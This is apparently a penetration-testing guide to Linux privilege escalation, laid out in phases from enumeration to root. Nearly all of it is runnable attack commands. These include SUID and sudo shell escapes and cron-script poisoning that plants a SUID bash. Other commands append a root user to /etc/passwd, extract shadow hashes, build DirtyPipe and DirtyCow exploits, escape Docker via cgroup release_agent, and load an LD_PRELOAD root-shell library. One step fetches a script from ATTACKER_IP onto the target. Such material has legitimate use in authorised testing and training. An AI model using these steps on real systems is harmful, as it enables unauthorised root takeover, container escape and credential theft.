Privilege escalation is the process of gaining higher-level permissions on a system beyond what was initially obtained through exploitation. On Linux systems, the target is typically root access (UID 0) — the superuser account with unrestricted system access. A systematic methodology is essential: haphazard manual searching wastes time while automated tools without understanding lead to missed opportunities. This guide presents the complete methodology used by professional penetration testers and red teamers on Linux systems.
Phase 1: Initial Enumeration
System and User Context
# Who are we?
id # UID, GID, supplementary groups
whoami # current username
groups # all groups we're in
# Hostname and OS
hostname
uname -a # kernel version, architecture, OS
cat /etc/os-release # Linux distribution details
cat /etc/issue
cat /proc/version
# Network configuration
ip addr # or ifconfig
ip route # routing table
cat /etc/hosts # host file entries
ss -tulnp # listening ports/services
netstat -tulnp
# Check running processes
ps auxf # process tree (as forest)
ps aux | grep root # processes running as root
# Logged in users
w
who
last # login history
lastlog # last login for all users
Sudo Permissions
# What can we run as root?
sudo -l # list sudo permissions for current user
sudo -l -U username # check sudo for specific user (if allowed)
# Common sudo escalation scenarios:
# (ALL) NOPASSWD: ALL — full root without password
# (root) NOPASSWD: /bin/vi — can run vi as root
# (root) /usr/bin/python3 — can run Python as root
# (root) /bin/cp — can copy files as root (overwrite /etc/passwd)
# (root) /bin/chmod — can change file permissions
# GTFOBins sudo escalation examples:
sudo vim -c ':!/bin/sh' # vi/vim
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo awk 'BEGIN {system("/bin/bash")}'
sudo find / -exec /bin/bash -p \;
sudo less /etc/passwd then !/bin/bash inside less
sudo tee /etc/sudoers <<< "$(whoami) ALL=(ALL) NOPASSWD:ALL" # if sudo tee allowed
Phase 2: SUID/SGID Binaries
SUID (Set User ID) binaries execute with the permissions of the file owner, regardless of who runs them. SUID root binaries are a common privilege escalation vector.
# Find all SUID binaries
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null # same, numeric notation
# Find SGID binaries
find / -perm -g=s -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# Find both SUID and SGID
find / -perm /6000 -type f 2>/dev/null
# Typical legitimate SUID binaries (not exploitable):
/usr/bin/passwd, /usr/bin/sudo, /usr/bin/pkexec
# Suspicious SUID binaries (check GTFOBins):
/usr/bin/find, /usr/bin/vim, /usr/bin/python, /bin/bash, /usr/bin/perl, /usr/bin/less, /usr/bin/more
# GTFOBins SUID exploitation examples:
# Find with SUID:
find / -exec /bin/bash -p \; -quit
# -p preserves privileges in bash
# Python with SUID:
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
# Bash itself with SUID:
bash -p # -p flag runs in privileged mode
# Vim with SUID:
vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
# env with SUID:
/usr/bin/env /bin/bash -p
GTFOBins Reference
GTFOBins (gtfobins.github.io) catalogs Unix binaries that can be exploited to escalate privileges via sudo, SUID, capabilities, or other mechanisms.
# Check every unusual SUID binary against GTFOBins
# Automated check with linpeas or with:
for bin in $(find / -perm -u=s -type f 2>/dev/null); do
echo "=== $bin ==="
# Check GTFOBins API (if internet access)
# curl -s "https://gtfobins.github.io/index.html" | grep "$(basename $bin)"
done
Phase 3: Cron Job Abuse
# View system cron jobs
cat /etc/crontab
cat /etc/cron.d/*
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
# View user cron jobs
crontab -l
crontab -l -u root # if you have permission
# Check systemd timers (modern replacement for cron)
systemctl list-timers --all
# Look for world-writable scripts called by root cron
# Step 1: Identify root cron job calling a script
# /etc/crontab: * * * * * root /opt/backup.sh
# Step 2: Check permissions on the script
ls -la /opt/backup.sh
# -rw-rw-rw- 1 root root 45 Jan 1 12:00 /opt/backup.sh -- world-writable!
# Step 3: Add reverse shell or SUID shell creator
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
# Wait for cron to execute...
/tmp/rootbash -p # execute with SUID root
# PATH abuse in cron jobs
# If crontab PATH includes writable directory before system paths:
# PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# And root cron runs: * * * * * root backup.sh (no full path!)
# Create malicious backup.sh in /home/user/
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh
Phase 4: Weak File Permissions
# Writable /etc/passwd
# If /etc/passwd is writable, add a new root user
ls -la /etc/passwd
# -rw-rw-rw- (world-writable — vulnerable)
# Generate password hash
openssl passwd -1 -salt xyz hacker
# Or: python3 -c "import crypt; print(crypt.crypt('hacker', '\$1\$xyz\$'))"
# Add to /etc/passwd:
echo 'hacker:$1$xyz$HASHEDPASSWORD:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker # now root!
# Writable /etc/shadow
# If we can write to /etc/shadow, change root password
openssl passwd -6 newpassword # SHA512 hash
# Copy hash to /etc/shadow root entry
# World-readable /etc/shadow (allows offline cracking)
ls -la /etc/shadow
cat /etc/shadow | head # if readable, extract hashes
# $6$salt$hash = SHA512crypt (hashcat -m 1800)
# $1$salt$hash = MD5crypt (hashcat -m 500)
# Find writable files owned by root
find / -writable -user root -type f 2>/dev/null | grep -v proc | grep -v sys
find / -writable -group root -type f 2>/dev/null | grep -v proc | grep -v sys
# Find world-writable directories (can drop malicious files)
find / -writable -type d 2>/dev/null | grep -v proc
Phase 5: Kernel Exploits
DirtyPipe (CVE-2022-0847)
# DirtyPipe — Linux kernel 5.8+ (before 5.16.11, 5.15.25, 5.10.102)
# Allows overwriting read-only files via the pipe mechanism
# Escalation: Overwrite /etc/passwd or SUID binary
# Download exploit
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
# Compile
gcc -o exploit1 exploit-1.c
gcc -o exploit2 exploit-2.c
# Exploit 1: Overwrite /etc/passwd
./exploit1
# Exploit 2: Execute SUID binary with elevated privileges
./exploit2 /usr/bin/sudo
# Check if vulnerable:
uname -r
# 5.8 <= version < 5.16.11 → likely vulnerable
DirtyCow (CVE-2016-5195)
# DirtyCow — race condition in COW (copy-on-write) mechanism
# Affects: Linux kernel < 4.8.3
# Allows unprivileged user to write to read-only memory mappings
# Check kernel version
uname -r # < 4.8.3 → likely vulnerable
# Compile exploit (multiple variants)
# c0w.c variant — writes to /proc/self/mem to modify read-only file
gcc -pthread c0w.c -o c0w && ./c0w
# dirtyc0w.c variant — overwrites a writable file to gain root
# https://github.com/dirtycow/dirtycow.github.io
# After exploit: /tmp/passwd.bak contains backup, /etc/passwd modified
su firefart # or whatever the exploit user name is
Phase 6: Linux Capabilities
# Linux capabilities split root privileges into discrete units
# cap_setuid — can set arbitrary UIDs (root!)
# cap_net_admin — network administration
# cap_net_bind_service — bind to ports < 1024
# cap_dac_read_search — bypass file read permission checks
# Find binaries with dangerous capabilities
getcap -r / 2>/dev/null
# Look for: cap_setuid+ep, cap_setgid+ep, cap_dac_read_search+ep
# Exploitation examples:
# Python with cap_setuid:
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
# Perl with cap_setuid:
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh";'
# Ruby with cap_setuid:
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
# Node.js with cap_setuid:
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
# tar with cap_dac_read_search:
tar czf /tmp/shadow.tar.gz /etc/shadow 2>/dev/null
tar xf /tmp/shadow.tar.gz -C /tmp/
# openssl with cap_net_bind_service + other:
# Can be abused to read arbitrary files if s_server is available
Phase 7: Docker Container Escape
# Determine if we're in a container
cat /proc/1/cgroup | grep docker
ls /.dockerenv # exists only in Docker containers
hostname # usually a random hash in containers
# Method 1: Privileged container
# If docker run --privileged was used:
fdisk -l # can see all disk devices
mount /dev/sda1 /mnt # mount host filesystem
chroot /mnt bash # access host filesystem as root
# Detect privileged mode:
cat /proc/self/status | grep CapEff
# If CapEff is 0000003fffffffff — fully privileged
# Method 2: Docker socket access
ls /var/run/docker.sock # if socket is accessible from container
# Can create new container with host filesystem mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Method 3: Mounted host paths
cat /proc/mounts # look for host paths mounted into container
# /dev/sda1 /mnt/host ext4 -- if host filesystem is mounted
# Method 4: Kernel exploit
# Container uses host kernel — kernel exploits work from inside container
# Method 5: cgroup release_agent (CVE-2022-0492 / older technique)
# If we have CAP_DAC_OVERRIDE or CAP_SYS_ADMIN:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "id > ${host_path}/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
Phase 8: NFS No_root_squash
# NFS exports with no_root_squash allow remote root to act as local root
# Detect NFS shares on target:
cat /etc/exports
showmount -e localhost
# If you see: /share *(rw,no_root_squash) — exploitable
# From attacker machine (as root), mount the share
mount -t nfs TARGET_IP:/share /tmp/nfs
# As root on attacker, create SUID bash
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash
# On target machine (as low-priv user)
/share/rootbash -p # executes with SUID root
# Alternative: Write to /etc/passwd via NFS
# As root on attacker:
echo 'hacker:$1$xyz$HASH:0:0:root:/root:/bin/bash' >> /tmp/nfs/../etc/passwd
# Then on target: su hacker
Phase 9: PATH Hijacking and LD_PRELOAD
# PATH Hijacking:
# If a binary run with elevated privileges calls another binary by name (not full path)
# We can create a malicious binary with the same name earlier in PATH
# Example: sudo allows running /usr/local/bin/backup which calls "tar" without full path
sudo -l
# (root) NOPASSWD: /usr/local/bin/backup
# Check if backup calls commands without full path:
strings /usr/local/bin/backup | grep -v / | head -20
# Output: tar, gzip, cp (unqualified names!)
# Create malicious tar in writable location
mkdir /tmp/exploit
echo '#!/bin/bash' > /tmp/exploit/tar
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /tmp/exploit/tar
chmod +x /tmp/exploit/tar
# Execute with PATH prepended
sudo PATH=/tmp/exploit:$PATH /usr/local/bin/backup
/tmp/rootbash -p
# LD_PRELOAD:
# If sudo allows any NOPASSWD command AND env_keep += LD_PRELOAD in sudoers:
# Create a shared library that spawns root shell when loaded
cat > /tmp/shell.c << EOF
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# Execute with LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so /any/nopasswd/command
linpeas.sh Workflow
# LinPEAS — Linux Privilege Escalation Awesome Script
# Comprehensive automated enumeration script
# Download and execute:
# Method 1: Direct curl to bash (if internet access)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Method 2: Upload to target (better for documentation)
# On attacker machine:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8080
# On target machine:
cd /tmp && wget http://ATTACKER_IP:8080/linpeas.sh && chmod +x linpeas.sh
# Execute with output saved
./linpeas.sh | tee /tmp/linpeas_output.txt 2>&1
# Execute with color (default — read in terminal)
./linpeas.sh
# Quiet mode (less output)
./linpeas.sh -q
# Key sections to focus on (linpeas output):
# ╔══════════╣ Sudo version (check CVEs for version)
# ╔══════════╣ Checking sudo permissions
# ╔══════════╣ SUID/SGID
# ╔══════════╣ Writable paths in /etc
# ╔══════════╣ Cron
# ╔══════════╣ Services/Daemons
# ╔══════════╣ Interesting files
# ╔══════════╣ Interesting Groups
# ╔══════════╣ Capabilities
Interpreting linpeas Output
# Color coding in linpeas:
# Red/Yellow background: Critical/High severity — investigate immediately
# Yellow text: Interesting but not immediately exploitable
# Green: Low risk or informational
# After linpeas, prioritize in this order:
# 1. Sudo with NOPASSWD for dangerous binaries
# 2. SUID binaries (especially uncommon ones)
# 3. Writable scripts called by root cron
# 4. Writable /etc/passwd or /etc/shadow
# 5. Capabilities on interesting binaries
# 6. Kernel version + known CVEs
# 7. Running services with known vulnerabilities